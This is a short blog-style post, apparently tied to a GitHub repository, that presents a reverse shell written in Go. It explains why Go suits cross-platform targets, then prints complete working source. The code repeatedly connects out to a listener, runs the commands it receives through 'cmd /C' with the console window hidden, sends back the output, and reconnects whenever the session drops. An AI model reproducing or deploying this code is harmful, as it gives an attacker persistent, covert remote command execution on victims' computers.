A reverse shell written in Golang

Github repo

Why Golang?

'coz I don't know C

  • Cross platform

absolutely so! I only need to specify a target system/arch, and Go will compile it for me no matter what system I am using to compile guess what? if you choose C, you will need different shell for unix and Windows (which requires winsock2.h), with Golang, you just use Golang's built-in library, they will all be statically linked to produce your executable, which means your binary will run on any system without having to worry about if your target has the libs you need

  • Easy to code in

At least easier than C, I think

What does it do?

I assume you already know what a reverse shell do, this thing does the same thing, plus:

  • Never stops sending you shell until you accept the shell it sends to you
  • When you leave your session, this shell will start sending shell again

go-shell

Show me the code!

package main

import (
    "os/exec"
    "net"
    "syscall"
    "bufio"
    "time"
)

func reverseshell(addr string){

    chk_conn:
    // make sure the master is online
    for{
        c, e := net.Dial("tcp", addr)
        if e != nil {
            time.Sleep(3 * time.Second)
        } else {
            c.Close()
            break
        }
    }

    // now send out our shell
    conn,_:= net.Dial("tcp", addr)
    for{
        status, disconn := bufio.NewReader(conn).ReadString('\n');
        if disconn != nil {
            goto chk_conn
            break
        }
        cmd := exec.Command("cmd", "/C", status)
        cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
        out, _ := cmd.Output();
        conn.Write([]byte(out))
    }
}

func main() {
    var master_ip string
    master_ip = "127.0.0.1:443"
    reverseshell(master_ip)
}

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